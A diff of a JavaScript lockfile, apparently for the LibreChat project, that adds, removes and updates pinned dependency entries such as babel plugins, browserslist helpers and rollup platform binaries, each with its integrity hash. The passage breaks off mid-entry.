["@babel/plugin-transform-unicode-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-xvINq24TRojDuyt6JGtHmkVkrfVV3FPT16uytxImLeBZqW3/H52yN+kM1MGuyPkIQxrzKwPHs5U/MP3qKyzkGw=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex": ["@babel/plugin-transform-unicode-sets-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-EtkOujbc4cgvb0mlpQefi4NTPBzhSIevblFevACNLUspmrALgmEBdL/XfnyyITfd8fKBZrZys92zOWcik7j9Tw=="], - - "librechat-data-provider/@babel/preset-env/babel-plugin-polyfill-corejs2": ["babel-plugin-polyfill-corejs2@0.4.14", "", { "dependencies": { "@babel/compat-data": "^7.27.7", "@babel/helper-define-polyfill-provider": "^0.6.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-Co2Y9wX854ts6U8gAAPXfn0GmAyctHuK8n0Yhfjd6t30g7yvKjspvvOo9yG+z52PZRgFErt7Ka2pYnXCjLKEpg=="], - - "librechat-data-provider/@babel/preset-env/babel-plugin-polyfill-corejs3": ["babel-plugin-polyfill-corejs3@0.13.0", "", { "dependencies": { "@babel/helper-define-polyfill-provider": "^0.6.5", "core-js-compat": "^3.43.0" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-U+GNwMdSFgzVmfhNm8GJUX88AadB3uo9KpJqS3FaqNIPKgySuvMb+bHPsOmmuWyIcuqZj/pzt1RUIUZns4y2+A=="], - - "librechat-data-provider/@babel/preset-env/babel-plugin-polyfill-regenerator": ["babel-plugin-polyfill-regenerator@0.6.5", "", { "dependencies": { "@babel/helper-define-polyfill-provider": "^0.6.5" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-ISqQ2frbiNU9vIJkzg7dlPpznPZ4jOiUQ1uSmB0fEHeowtN3COYRsXr/xexn64NpU13P06jc/L5TgiJXOgrbEg=="], - - "librechat-data-provider/@babel/preset-env/core-js-compat": ["core-js-compat@3.47.0", "", { "dependencies": { "browserslist": "^4.28.0" } }, "sha512-IGfuznZ/n7Kp9+nypamBhvwdwLsW6KC8IOaURw2doAK5e98AG3acVLdh0woOnEqCfUtS+Vu882JE4k/DAm3ItQ=="], - - "librechat-data-provider/@babel/preset-react/@babel/plugin-transform-react-display-name": ["@babel/plugin-transform-react-display-name@7.28.0", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-D6Eujc2zMxKjfa4Zxl4GHMsmhKKZ9VpcqIchJLvwTxad9zWIYulwYItBovpDOoNLISpcZSXoDJ5gaGbQUDqViA=="], - - "librechat-data-provider/@babel/preset-react/@babel/plugin-transform-react-jsx": ["@babel/plugin-transform-react-jsx@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-module-imports": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1", "@babel/plugin-syntax-jsx": "^7.27.1", "@babel/types": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-2KH4LWGSrJIkVf5tSiBFYuXDAoWRq2MMwgivCf+93dd0GQi8RXLjKA/0EvRnVV5G0hrHczsquXuD01L8s6dmBw=="], - - "librechat-data-provider/@babel/preset-react/@babel/plugin-transform-react-jsx-development": ["@babel/plugin-transform-react-jsx-development@7.27.1", "", { "dependencies": { "@babel/plugin-transform-react-jsx": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-ykDdF5yI4f1WrAolLqeF3hmYU12j9ntLQl/AOG1HAS21jxyg1Q0/J/tpREuYLfatGdGmXp/3yS0ZA76kOlVq9Q=="], - - "librechat-data-provider/@babel/preset-react/@babel/plugin-transform-react-pure-annotations": ["@babel/plugin-transform-react-pure-annotations@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-JfuinvDOsD9FVMTHpzA/pBLisxpv1aSf+OIV8lgH3MuWrks19R27e6a6DipIg4aX1Zm9Wpb04p8wljfKrVSnPA=="], - - "librechat-data-provider/@babel/preset-typescript/@babel/plugin-transform-modules-commonjs": ["@babel/plugin-transform-modules-commonjs@7.27.1", "", { "dependencies": { "@babel/helper-module-transforms": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-OJguuwlTYlN0gBZFRPqwOGNWssZjfIUdS7HMYtN8c1KmwpwHFBwTeFZrg9XZa+DFTitWOW5iTAG7tyCUPsCCyw=="], - - "librechat-data-provider/@babel/preset-typescript/@babel/plugin-transform-typescript": ["@babel/plugin-transform-typescript@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-create-class-features-plugin": "^7.28.5", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/plugin-syntax-typescript": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-x2Qa+v/CuEoX7Dr31iAfr0IhInrVOWZU/2vJMJ00FOR/2nM0BcBEclpaf9sWCDc+v5e9dMrhSH8/atq/kX7+bA=="], + "librechat-data-provider/@types/node/undici-types": ["undici-types@6.21.0", "", {}, "sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ=="], "log-update/slice-ansi/ansi-styles": ["ansi-styles@6.2.1", "", {}, "sha512-bN798gFfQX+viw3R7yrGWRqnrN2oRkEkUjjl4JNn4E8GxxbjtG3FbrEIIY3l8/hrwUwIeCZvi4QuOTP4MErVug=="], @@ -7529,22 +7367,42 @@ "pkg-dir/find-up/locate-path": ["locate-path@5.0.0", "", { "dependencies": { "p-locate": "^4.1.0" } }, "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g=="], + "postcss-colormin/browserslist/baseline-browser-mapping": ["baseline-browser-mapping@2.8.28", "", { "bin": "dist/cli.js" }, "sha512-gYjt7OIqdM0PcttNYP2aVrr2G0bMALkBaoehD4BuRGjAOtipg0b6wHg1yNL+s5zSnLZZrGHOw4IrND8CD+3oIQ=="], + "postcss-colormin/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="], + "postcss-convert-values/browserslist/baseline-browser-mapping": ["baseline-browser-mapping@2.8.28", "", { "bin": "dist/cli.js" }, "sha512-gYjt7OIqdM0PcttNYP2aVrr2G0bMALkBaoehD4BuRGjAOtipg0b6wHg1yNL+s5zSnLZZrGHOw4IrND8CD+3oIQ=="], + "postcss-convert-values/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="], + "postcss-merge-rules/browserslist/baseline-browser-mapping": ["baseline-browser-mapping@2.8.28", "", { "bin": "dist/cli.js" }, "sha512-gYjt7OIqdM0PcttNYP2aVrr2G0bMALkBaoehD4BuRGjAOtipg0b6wHg1yNL+s5zSnLZZrGHOw4IrND8CD+3oIQ=="], + "postcss-merge-rules/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="], + "postcss-minify-params/browserslist/baseline-browser-mapping": ["baseline-browser-mapping@2.8.28", "", { "bin": "dist/cli.js" }, "sha512-gYjt7OIqdM0PcttNYP2aVrr2G0bMALkBaoehD4BuRGjAOtipg0b6wHg1yNL+s5zSnLZZrGHOw4IrND8CD+3oIQ=="], + "postcss-minify-params/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="], + "postcss-normalize-unicode/browserslist/baseline-browser-mapping": ["baseline-browser-mapping@2.8.28", "", { "bin": "dist/cli.js" }, "sha512-gYjt7OIqdM0PcttNYP2aVrr2G0bMALkBaoehD4BuRGjAOtipg0b6wHg1yNL+s5zSnLZZrGHOw4IrND8CD+3oIQ=="], + "postcss-normalize-unicode/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="], - "postcss-preset-env/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="], + "postcss-preset-env/autoprefixer/caniuse-lite": ["caniuse-lite@1.0.30001777", "", {}, "sha512-tmN+fJxroPndC74efCdp12j+0rk0RHwV5Jwa1zWaFVyw2ZxAuPeG8ZgWC3Wz7uSjT3qMRQ5XHZ4COgQmsCMJAQ=="], + + "postcss-preset-env/browserslist/caniuse-lite": ["caniuse-lite@1.0.30001777", "", {}, "sha512-tmN+fJxroPndC74efCdp12j+0rk0RHwV5Jwa1zWaFVyw2ZxAuPeG8ZgWC3Wz7uSjT3qMRQ5XHZ4COgQmsCMJAQ=="], + + "postcss-preset-env/browserslist/electron-to-chromium": ["electron-to-chromium@1.5.307", "", {}, "sha512-5z3uFKBWjiNR44nFcYdkcXjKMbg5KXNdciu7mhTPo9tB7NbqSNP2sSnGR+fqknZSCwKkBN+oxiiajWs4dT6ORg=="], + + "postcss-preset-env/browserslist/update-browserslist-db": ["update-browserslist-db@1.2.3", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": { "update-browserslist-db": "cli.js" } }, "sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w=="], + + "postcss-reduce-initial/browserslist/baseline-browser-mapping": ["baseline-browser-mapping@2.8.28", "", { "bin": "dist/cli.js" }, "sha512-gYjt7OIqdM0PcttNYP2aVrr2G0bMALkBaoehD4BuRGjAOtipg0b6wHg1yNL+s5zSnLZZrGHOw4IrND8CD+3oIQ=="], "postcss-reduce-initial/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="], "pretty-format/@jest/schemas/@sinclair/typebox": ["@sinclair/typebox@0.27.8", "", {}, "sha512-+Fj43pSMwJs4KRrH/938Uf+uAELIgVBmQzg/q1YG10djyfA3TnrU8N8XzqCh/okZdszqBQTZf96idMfE5lnwTA=="], + "protobufjs/@types/node/undici-types": ["undici-types@6.21.0", "", {}, "sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ=="], + "rehype-highlight/@types/hast/@types/unist": ["@types/unist@2.0.10", "", {}, "sha512-IfYcSBWE3hLpBg8+X2SEa8LVkJdJEkT2Ese2aaLs3ptGdVtABxndrMaxuFlQ1qdFf9Q5rDvDpxI3WwgvKFAsQA=="], "rehype-highlight/unified/@types/unist": ["@types/unist@2.0.10", "", {}, "sha512-IfYcSBWE3hLpBg8+X2SEa8LVkJdJEkT2Ese2aaLs3ptGdVtABxndrMaxuFlQ1qdFf9Q5rDvDpxI3WwgvKFAsQA=="], @@ -7573,12 +7431,14 @@ "rollup-plugin-typescript2/@rollup/pluginutils/picomatch": ["picomatch@2.3.1", "", {}, "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA=="], - "schema-utils/ajv/json-schema-traverse": ["json-schema-traverse@1.0.0", "", {}, "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug=="], + "stylehacks/browserslist/baseline-browser-mapping": ["baseline-browser-mapping@2.8.28", "", { "bin": "dist/cli.js" }, "sha512-gYjt7OIqdM0PcttNYP2aVrr2G0bMALkBaoehD4BuRGjAOtipg0b6wHg1yNL+s5zSnLZZrGHOw4IrND8CD+3oIQ=="], "stylehacks/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="], "sucrase/glob/minimatch": ["minimatch@9.0.5", "", { "dependencies": { "brace-expansion": "^2.0.1" } }, "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow=="], + "sucrase/glob/minipass": ["minipass@7.1.2", "", {}, "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw=="], + "sucrase/glob/path-scurry": ["path-scurry@1.11.1", "", { "dependencies": { "lru-cache": "^10.2.0", "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0" } }, "sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA=="], "svgo/css-select/domhandler": ["domhandler@4.3.1", "", { "dependencies": { "domelementtype": "^2.2.0" } }, "sha512-GrwoxYN+uWlzO8uhUXRl0P+kHE4GtVPfYzVLcUxPL7KNdHKj66vvlhiweIHqYYXWlw+T8iLMp42Lm67ghw4WMQ=="], @@ -7587,135 +7447,75 @@ "tailwindcss/postcss-load-config/lilconfig": ["lilconfig@3.0.0", "", {}, "sha512-K2U4W2Ff5ibV7j7ydLr+zLAkIg5JJ4lPn1Ltsdt+Tz/IjQ8buJ55pZAxoP34lqIiwtF9iAvtLv3JGv7CAyAg+g=="], - "terser-webpack-plugin/jest-worker/supports-color": ["supports-color@8.1.1", "", { "dependencies": { "has-flag": "^4.0.0" } }, "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q=="], - "unist-util-remove-position/unist-util-visit/unist-util-is": ["unist-util-is@5.2.1", "", { "dependencies": { "@types/unist": "^2.0.0" } }, "sha512-u9njyyfEh43npf1M+yGKDGVPbY/JWEemg5nH05ncKPfi+kBbKBJoTdsogMu33uhytuLlv9y0O7GH7fEdwLdLQw=="], "unist-util-remove-position/unist-util-visit/unist-util-visit-parents": ["unist-util-visit-parents@5.1.3", "", { "dependencies": { "@types/unist": "^2.0.0", "unist-util-is": "^5.0.0" } }, "sha512-x6+y8g7wWMyQhL1iZfhIPhDAs7Xwbn9nRosDXl7qoPTSCy0yNxnKc+hWokFifWQIDGi154rdUqKvbCa4+1kLhg=="], + "vasync/verror/core-util-is": ["core-util-is@1.0.2", "", {}, "sha512-3lqz5YjWTYnW6dlDa5TLaTCcShfar1e40rmcJVwCBJC6mWlFuj0eCHIElmG1g5kyuJ/GD+8Wn4FFCcz4gJPfaQ=="], + "vfile-location/vfile/unist-util-stringify-position": ["unist-util-stringify-position@3.0.3", "", { "dependencies": { "@types/unist": "^2.0.0" } }, "sha512-k5GzIBZ/QatR8N5X2y+drfpWG8IDBzdnVj6OInRNWm1oXrzydiaAT2OQiA8DPRRZyAKb9b6I2a6PxYklZD0gKg=="], "vfile-location/vfile/vfile-message": ["vfile-message@3.1.4", "", { "dependencies": { "@types/unist": "^2.0.0", "unist-util-stringify-position": "^3.0.0" } }, "sha512-fa0Z6P8HUrQN4BZaX05SIVXic+7kE3b05PWAtPuYP9QLHsLKYR7/AlLW3NtOrpXRLeawpDLMsVkmk5DG0NXgWw=="], - "webpack/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="], + "vite/postcss/nanoid": ["nanoid@3.3.11", "", { "bin": { "nanoid": "bin/nanoid.cjs" } }, "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w=="], - "webpack/eslint-scope/estraverse": ["estraverse@4.3.0", "", {}, "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw=="], + "vite/rollup/@rollup/rollup-android-arm-eabi": ["@rollup/rollup-android-arm-eabi@4.59.0", "", { "os": "android", "cpu": "arm" }, "sha512-upnNBkA6ZH2VKGcBj9Fyl9IGNPULcjXRlg0LLeaioQWueH30p6IXtJEbKAgvyv+mJaMxSm1l6xwDXYjpEMiLMg=="], - "webpack/mime-types/mime-db": ["mime-db@1.52.0", "", {}, "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg=="], + "vite/rollup/@rollup/rollup-android-arm64": ["@rollup/rollup-android-arm64@4.59.0", "", { "os": "android", "cpu": "arm64" }, "sha512-hZ+Zxj3SySm4A/DylsDKZAeVg0mvi++0PYVceVyX7hemkw7OreKdCvW2oQ3T1FMZvCaQXqOTHb8qmBShoqk69Q=="], + + "vite/rollup/@rollup/rollup-darwin-arm64": ["@rollup/rollup-darwin-arm64@4.59.0", "", { "os": "darwin", "cpu": "arm64" }, "sha512-W2Psnbh1J8ZJw0xKAd8zdNgF9HRLkdWwwdWqubSVk0pUuQkoHnv7rx4GiF9rT4t5DIZGAsConRE3AxCdJ4m8rg=="], + + "vite/rollup/@rollup/rollup-darwin-x64": ["@rollup/rollup-darwin-x64@4.59.0", "", { "os": "darwin", "cpu": "x64" }, "sha512-ZW2KkwlS4lwTv7ZVsYDiARfFCnSGhzYPdiOU4IM2fDbL+QGlyAbjgSFuqNRbSthybLbIJ915UtZBtmuLrQAT/w=="], + + "vite/rollup/@rollup/rollup-freebsd-arm64": ["@rollup/rollup-freebsd-arm64@4.59.0", "", { "os": "freebsd", "cpu": "arm64" }, "sha512-EsKaJ5ytAu9jI3lonzn3BgG8iRBjV4LxZexygcQbpiU0wU0ATxhNVEpXKfUa0pS05gTcSDMKpn3Sx+QB9RlTTA=="], + + "vite/rollup/@rollup/rollup-freebsd-x64": ["@rollup/rollup-freebsd-x64@4.59.0", "", { "os": "freebsd", "cpu": "x64" }, "sha512-d3DuZi2KzTMjImrxoHIAODUZYoUUMsuUiY4SRRcJy6NJoZ6iIqWnJu9IScV9jXysyGMVuW+KNzZvBLOcpdl3Vg=="], + + "vite/rollup/@rollup/rollup-linux-arm-gnueabihf": ["@rollup/rollup-linux-arm-gnueabihf@4.59.0", "", { "os": "linux", "cpu": "arm" }, "sha512-t4ONHboXi/3E0rT6OZl1pKbl2Vgxf9vJfWgmUoCEVQVxhW6Cw/c8I6hbbu7DAvgp82RKiH7TpLwxnJeKv2pbsw=="], + + "vite/rollup/@rollup/rollup-linux-arm-musleabihf": ["@rollup/rollup-linux-arm-musleabihf@4.59.0", "", { "os": "linux", "cpu": "arm" }, "sha512-CikFT7aYPA2ufMD086cVORBYGHffBo4K8MQ4uPS/ZnY54GKj36i196u8U+aDVT2LX4eSMbyHtyOh7D7Zvk2VvA=="], + + "vite/rollup/@rollup/rollup-linux-arm64-gnu": ["@rollup/rollup-linux-arm64-gnu@4.59.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-jYgUGk5aLd1nUb1CtQ8E+t5JhLc9x5WdBKew9ZgAXg7DBk0ZHErLHdXM24rfX+bKrFe+Xp5YuJo54I5HFjGDAA=="], + + "vite/rollup/@rollup/rollup-linux-arm64-musl": ["@rollup/rollup-linux-arm64-musl@4.59.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-peZRVEdnFWZ5Bh2KeumKG9ty7aCXzzEsHShOZEFiCQlDEepP1dpUl/SrUNXNg13UmZl+gzVDPsiCwnV1uI0RUA=="], + + "vite/rollup/@rollup/rollup-linux-riscv64-gnu": ["@rollup/rollup-linux-riscv64-gnu@4.59.0", "", { "os": "linux", "cpu": "none" }, "sha512-NDYMpsXYJJaj+I7UdwIuHHNxXZ/b/N2hR15NyH3m2qAtb/hHPA4g4SuuvrdxetTdndfj9b1WOmy73kcPRoERUg=="], + + "vite/rollup/@rollup/rollup-linux-riscv64-musl": ["@rollup/rollup-linux-riscv64-musl@4.59.0", "", { "os": "linux", "cpu": "none" }, "sha512-nLckB8WOqHIf1bhymk+oHxvM9D3tyPndZH8i8+35p/1YiVoVswPid2yLzgX7ZJP0KQvnkhM4H6QZ5m0LzbyIAg=="], + + "vite/rollup/@rollup/rollup-linux-s390x-gnu": ["@rollup/rollup-linux-s390x-gnu@4.59.0", "", { "os": "linux", "cpu": "s390x" }, "sha512-oF87Ie3uAIvORFBpwnCvUzdeYUqi2wY6jRFWJAy1qus/udHFYIkplYRW+wo+GRUP4sKzYdmE1Y3+rY5Gc4ZO+w=="], + + "vite/rollup/@rollup/rollup-linux-x64-gnu": ["@rollup/rollup-linux-x64-gnu@4.59.0", "", { "os": "linux", "cpu": "x64" }, "sha512-3AHmtQq/ppNuUspKAlvA8HtLybkDflkMuLK4DPo77DfthRb71V84/c4MlWJXixZz4uruIH4uaa07IqoAkG64fg=="], + + "vite/rollup/@rollup/rollup-linux-x64-musl": ["@rollup/rollup-linux-x64-musl@4.59.0", "", { "os": "linux", "cpu": "x64" }, "sha512-2UdiwS/9cTAx7qIUZB/fWtToJwvt0Vbo0zmnYt7ED35KPg13Q0ym1g442THLC7VyI6JfYTP4PiSOWyoMdV2/xg=="], + + "vite/rollup/@rollup/rollup-win32-arm64-msvc": ["@rollup/rollup-win32-arm64-msvc@4.59.0", "", { "os": "win32", "cpu": "arm64" }, "sha512-V5B6mG7OrGTwnxaNUzZTDTjDS7F75PO1ae6MJYdiMu60sq0CqN5CVeVsbhPxalupvTX8gXVSU9gq+Rx1/hvu6A=="], + + "vite/rollup/@rollup/rollup-win32-ia32-msvc": ["@rollup/rollup-win32-ia32-msvc@4.59.0", "", { "os": "win32", "cpu": "ia32" }, "sha512-UKFMHPuM9R0iBegwzKF4y0C4J9u8C6MEJgFuXTBerMk7EJ92GFVFYBfOZaSGLu6COf7FxpQNqhNS4c4icUPqxA=="], + + "vite/rollup/@rollup/rollup-win32-x64-msvc": ["@rollup/rollup-win32-x64-msvc@4.59.0", "", { "os": "win32", "cpu": "x64" }, "sha512-2HRCml6OztYXyJXAvdDXPKcawukWY2GpR5/nxKp4iBgiO3wcoEGkAaqctIbZcNB6KlUQBIqt8VYkNSj2397EfA=="], + + "vite/rollup/@types/estree": ["@types/estree@1.0.8", "", {}, "sha512-dWHzHa2WqEXI/O1E9OjrocMTKJl2mSrEolh1Iomrv6U+JuNwaHXsXx9bLu5gG7BUWFIN0skIQJQ/L1rIex4X6w=="], "winston-daily-rotate-file/winston-transport/logform": ["logform@2.6.0", "", { "dependencies": { "@colors/colors": "1.6.0", "@types/triple-beam": "^1.3.2", "fecha": "^4.2.0", "ms": "^2.1.1", "safe-stable-stringify": "^2.3.1", "triple-beam": "^1.3.0" } }, "sha512-1ulHeNPp6k/LD8H91o7VYFBng5i1BDE7HoKxVbZiGFidS1Rj65qcywLxX+pVfAPoQJEjRdvKcusKwOupHCVOVQ=="], - "workbox-build/@babel/preset-env/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": ["@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-iRkKcCqb7iGnq9+3G6rZ+Ciz5VywC4XNRHe57lKM+jOeYAoR0lVqdeeDRfh0tQcTfw/+vBhHn926FmQhLtlFLQ=="], + "workbox-build/@babel/core/@babel/code-frame": ["@babel/code-frame@7.29.0", "", { "dependencies": { "@babel/helper-validator-identifier": "^7.28.5", "js-tokens": "^4.0.0", "picocolors": "^1.1.1" } }, "sha512-9NhCeYjq9+3uxgdtp20LSiJXJvN0FeCtNGpJxuMFZ1Kv3cWUNb6DOhJwUvcVCzKGR66cw4njwM6hrJLqgOwbcw=="], - "workbox-build/@babel/preset-env/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": ["@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5", "@babel/plugin-transform-optional-chaining": "^7.23.3" }, "peerDependencies": { "@babel/core": "^7.13.0" } }, "sha512-WwlxbfMNdVEpQjZmK5mhm7oSwD3dS6eU+Iwsi4Knl9wAletWem7kaRsGOG+8UEbRyqxY4SS5zvtfXwX+jMxUwQ=="], + "workbox-build/@babel/core/@babel/generator": ["@babel/generator@7.29.1", "", { "dependencies": { "@babel/parser": "^7.29.0", "@babel/types": "^7.29.0", "@jridgewell/gen-mapping": "^0.3.12", "@jridgewell/trace-mapping": "^0.3.28", "jsesc": "^3.0.2" } }, "sha512-qsaF+9Qcm2Qv8SRIMMscAvG4O3lJ0F1GuMo5HR/Bp02LopNgnZBC/EkbevHFeGs4ls/oPz9v+Bsmzbkbe+0dUw=="], - "workbox-build/@babel/preset-env/@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": ["@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly@7.23.7", "", { "dependencies": { "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-LlRT7HgaifEpQA1ZgLVOIJZZFVPWN5iReq/7/JixwBtwcoeVGDBD53ZV28rrsLYOZs1Y/EHhA8N/Z6aazHR8cw=="], + "workbox-build/@babel/core/@babel/helper-compilation-targets": ["@babel/helper-compilation-targets@7.28.6", "", { "dependencies": { "@babel/compat-data": "^7.28.6", "@babel/helper-validator-option": "^7.27.1", "browserslist": "^4.24.0", "lru-cache": "^5.1.1", "semver": "^6.3.1" } }, "sha512-JYtls3hqi15fcx5GaSNL7SCTJ2MNmjrkHXg4FSpOA/grxK8KwyZ5bubHsCq8FXCkua6xhuaaBit+3b7+VZRfcA=="], - "workbox-build/@babel/preset-env/@babel/plugin-syntax-import-assertions": ["@babel/plugin-syntax-import-assertions@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-lPgDSU+SJLK3xmFDTV2ZRQAiM7UuUjGidwBywFavObCiZc1BeAAcMtHJKUya92hPHO+at63JJPLygilZard8jw=="], + "workbox-build/@babel/core/@babel/helper-module-transforms": ["@babel/helper-module-transforms@7.28.6", "", { "dependencies": { "@babel/helper-module-imports": "^7.28.6", "@babel/helper-validator-identifier": "^7.28.5", "@babel/traverse": 